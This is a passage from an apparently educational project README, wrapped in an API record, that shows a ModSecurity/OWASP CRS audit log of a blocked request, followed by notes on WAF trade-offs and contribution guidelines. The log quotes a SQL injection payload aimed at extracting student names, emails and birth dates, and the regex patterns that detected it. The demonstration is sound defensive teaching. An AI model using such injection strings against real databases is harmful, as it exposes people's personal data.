\"document\",\n                \"Host\": \"localhost\",\n                \"Priority\": \"u=0, i\"\n            }\n        },\n        \"response\": {\n            \"http_code\": 403,\n            \"headers\": {\n                \"Server\": \"nginx/1.19.3\",\n                \"Date\": \"Sun, 08 Sep 2024 14:56:21 GMT\",\n                \"Content-Length\": \"153\",\n                \"Content-Type\": \"text/html\",\n                \"Connection\": \"keep-alive\"\n            }\n        },\n        \"producer\": {\n            \"modsecurity\": \"ModSecurity v3.0.8 (Linux)\",\n            \"connector\": \"ModSecurity-nginx v1.0.3\",\n            \"secrules_engine\": \"Enabled\",\n            \"components\": [\n                \"OWASP_CRS/3.3.0\\\"\"\n            ]\n        },\n        \"messages\": [\n            {\n                \"message\": \"SQL Injection Attempt Detected\",\n                \"details\": {\n                    \"match\": \"detected SQLi using libinjection.\",\n                    \"reference\": \"v19,108\",\n                    \"ruleId\": \"200001\",\n                    \"file\": \"/usr/local/nginx/conf/modsecurity/modsecurity.conf\",\n                    \"lineNumber\": \"28\",\n                    \"data\": \"\",\n                    \"severity\": \"0\",\n                    \"ver\": \"\",\n                    \"rev\": \"\",\n                    \"tags\": [],\n                    \"maturity\": \"0\",\n                    \"accuracy\": \"0\"\n                }\n            },\n            {\n                \"message\": \"SQL Injection Attack Detected via libinjection\",\n                \"details\": {\n                    \"match\": \"detected SQLi using libinjection.\",\n                    \"reference\": \"v19,108\",\n                    \"ruleId\": \"942100\",\n                    \"file\": \"/usr/local/coreruleset/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf\",\n                    \"lineNumber\": \"45\",\n                    \"data\": \"Matched Data: sUEn, found within ARGS:prefix: Intro' UNION SELECT id, CONCAT(first_name, last_name), email, CAST(date_of_birth as VARCHAR) FROM students--\",\n                    \"severity\": \"2\",\n                    \"ver\": \"OWASP_CRS/3.3.0\",\n                    \"rev\": \"\",\n                    \"tags\": [],\n                    \"maturity\": \"0\",\n                    \"accuracy\": \"0\"\n                }\n            },\n            {\n                \"message\": \"Detects MSSQL code execution and information gathering attempts\",\n                \"details\": {\n                    \"match\": \"Matched \\\"Operator `Rx' with parameter `(?i:(?:[\\\\\\\"'`](?:;?\\\\s*?(?:having|select|union)\\b\\\\s*?[^\\\\s]|\\\\s*?!\\\\s*?[\\\\\\\"'`\\\\w])|(?:c(?:onnection_id|urrent_user)|database)\\\\s*?\\\\([^\\\\)]*?|u(?:nion(?:[\\\\w(\\\\s]*?select| select @)|ser\\\\s*?\\\\([^\\\\)]*?)|s(?:chema\\\\s* (165 characters omitted)' against variable `ARGS:prefix' (Value: `Intro' UNION SELECT id, CONCAT(first_name, last_name), email, CAST(date_of_birth as VARCHAR) FROM st (8 characters omitted)' )\",\n                    \"reference\": \"o5,9v19,108t:urlDecodeUni\",\n                    \"ruleId\": \"942190\",\n                    \"file\": \"/usr/local/coreruleset/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf\",\n                    \"lineNumber\": \"164\",\n                    \"data\": \"Matched Data: ' UNION S found within ARGS:prefix: Intro' UNION SELECT id, CONCAT(first_name, last_name), email, CAST(date_of_birth as VARCHAR) FROM students--\",\n                    \"severity\": \"2\",\n                    \"ver\": \"OWASP_CRS/3.3.0\",\n                    \"rev\": \"\",\n                    \"tags\": [\n                        \"application-multi\",\n                        \"language-multi\",\n                        \"platform-multi\",\n                        \"attack-sqli\",\n                        \"paranoia-level/1\",\n                        \"OWASP_CRS\",\n                        \"capec/1000/152/248/66\",\n                        \"PCI/6.5.2\"\n                    ],\n                    \"maturity\": \"0\",\n                    \"accuracy\": \"0\"\n                }\n            },\n            {\n                \"message\": \"Looking for basic sql injection. Common attack string for mysql, oracle and others\",\n                \"details\": {\n                    \"match\": \"Matched \\\"Operator `Rx' with parameter `(?i)union.*?select.*?from' against variable `ARGS:prefix' (Value: `Intro' UNION SELECT id, CONCAT(first_name, last_name), email, CAST(date_of_birth as VARCHAR) FROM st (8 characters omitted)' )\",\n                    \"reference\": \"o7,90v19,108t:urlDecodeUni\",\n                    \"ruleId\": \"942270\",\n                    \"file\": \"/usr/local/coreruleset/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf\",\n                    \"lineNumber\": \"277\",\n                    \"data\": \"Matched Data: UNION SELECT id, CONCAT(first_name, last_name), email, CAST(date_of_birth as VARCHAR) FROM found within ARGS:prefix: Intro' UNION SELECT id, CONCAT(first_name, last_name), email, CAST(date_of_birth as VARCHAR) FROM students--\",\n                    \"severity\": \"2\",\n                    \"ver\": \"OWASP_CRS/3.3.0\",\n                    \"rev\": \"\",\n                    \"tags\": [\n                        \"application-multi\",\n                        \"language-multi\",\n                        \"platform-multi\",\n                        \"attack-sqli\",\n                        \"paranoia-level/1\",\n                        \"OWASP_CRS\",\n                        \"capec/1000/152/248/66\",\n                        \"PCI/6.5.2\"\n                    ],\n                    \"maturity\": \"0\",\n                    \"accuracy\": \"0\"\n                }\n            },\n            {\n                \"message\": \"Inbound Anomaly Score Exceeded (Total Score: 15)\",\n                \"details\": {\n                    \"match\": \"Matched \\\"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `15' )\",\n                    \"reference\": \"\",\n                    \"ruleId\": \"949110\",\n                    \"file\": \"/usr/local/coreruleset/rules/REQUEST-949-BLOCKING-EVALUATION.conf\",\n                    \"lineNumber\": \"80\",\n                    \"data\": \"\",\n                    \"severity\": \"2\",\n                    \"ver\": \"OWASP_CRS/3.3.0\",\n                    \"rev\": \"\",\n                    \"tags\": [\n                        \"application-multi\",\n                        \"language-multi\",\n                        \"platform-multi\",\n                        \"attack-generic\"\n                    ],\n                    \"maturity\": \"0\",\n                    \"accuracy\": \"0\"\n                }\n            }\n        ]\n    }\n}\n```\n\nYou can find, through experimenting with various request payloads, that the WAF will also block typical XSS and CSRF requests.\n\n### Considerations:\n\nWAFs always introduce some overhead.  It's important to monitor your application's performance after implementation.  \n\nIn realistic scenarios, WAFs will also sometimes block legitimate traffic - i.e. identify false positives.  This can be mitigated by carefully tuning rules, but there will likely always be edge cases.\n\nSophisticated attackers may try to bypass WAF rules. This is why WAFs should be part of a layered security approach.\n\n## Contributing\n\nContributions to this educational project are welcome and appreciated. By contributing, you help make this resource more valuable for everyone interested in learning about web application security. Here's how you can contribute:\n\n1. **Reporting Issues**\n   - If you find any bugs, errors, or areas for improvement, please open an issue in the GitHub repository.\n   - Clearly describe the problem, including steps to reproduce if applicable.\n   - Suggestions for fixes or improvements are always welcome.\n\n2. **Submitting Pull Requests**\n   - Fork the repository and create a new branch for your feature or fix.\n   - Ensure your code adheres to the existing style for consistency.\n   - Add or update documentation as necessary.\n   - Test your changes thoroughly.\n   - Submit a pull request with a clear description of the changes and their purpose.\n\n3. **Enhancing Documentation**\n   - Help improve explanations, fix typos, or add clarifying examples.\n   - If you found a part of the tutorial confusing, chances are others will too. Your input can help make it clearer.\n\n4. **Suggesting New Topics**\n   - If you have ideas for new security concepts to cover or additional phases to add to the project, please open an issue to discuss.\n\nThank you for your interest in contributing to this project! Your efforts help make web application security more accessible and understandable for everyone.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwesdoyle%2Fnginx-security-demo","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fwesdoyle%2Fnginx-security-demo","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwesdoyle%2Fnginx-security-demo/lists"}